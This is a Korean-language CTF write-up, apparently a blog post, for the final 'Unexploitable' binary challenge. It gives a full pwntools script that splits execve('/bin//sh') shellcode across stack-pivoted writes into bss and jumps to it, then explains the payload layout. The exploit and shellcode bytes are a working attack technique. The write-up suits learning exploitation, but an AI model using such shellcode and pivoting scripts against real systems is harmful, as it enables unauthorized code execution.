마지막시리즈다. 보호기법은 NX 가 꺼져있다. bss 에 쉘코드를 적어서 리턴하면 될텐데,
dummy+sfp+ret 합쳐서 0x20 byte 여서 ret 넘어서 입력받을 수 있는 데이터는
13byte밖에 되지 않는다.
13byte 짜리 쉘코드는 찾아봤는데 없는 것같다. 그래서 23byte 쉘코드를
스택피보팅으로 나눠서 입력해보자.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
from pwn import *
# r=process("./Unexploitable_4")
r=remote("ctf.j0n9hyun.xyz", 3039)
context.log_level='debug'
bss=0x601000+0x800
# shellcode=b"\x48\x83\xC4\x30\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05" #22byte
# shellcode=b"\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
shellcode=b"\x48\x83\xC4\x30\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
main_fgets=0x4006DB
pay=b'x'*0x10
pay+=p64(bss)
pay+=p64(main_fgets)
pause()
r.sendline(pay)
pay2=b'x'*0x10
pay2+=p64(bss+0x28)
pay2+=p64(main_fgets)
pay2+=shellcode[:0x8]
r.sendline(pay2)
pay3=shellcode[0x8:]
pay3+=b'\x90'*(0x18-len(pay3))
pay3+=p64(bss+0x10)
r.sendline(pay3)
r.interactive()
|
cs |
먼저 bss 로 돌려서, bss-0x10 에 입력을 받는다.
쉘코드는 bss+0x10 에 앞부분 8바이트를 쓴다.
다음 rbp 는 bss+0x28 이다.
main 에 fgets 부분으로 리턴해서
bss+0x28-0x10 = bss+0x18 으로, 쉘코드를 이어서 입력할 수 있다.
이 때, sfp 는 쉘코드로 덮어도 상관이 없다.
어차피 다음은 bss+0x10 (쉘코드주소) 로 리턴할 것이기 때문.
위에 add rsp, 0x30 은 내가 추가했다.
쉘코드를 보면, push 가 4번 사용되는데,
쉘코드를 실행할 때 rsp 가 bss+0x38 으로 되어있고,
쉘코드 영역은 bss+0x10 ~bss+0x27 정도인데,
push 4번하면 bss+8 까지 침범해서 쉘코드가 엉망이된다.
그래서 rsp 에 0x30 더하는 코드를 앞에 붙여놨당.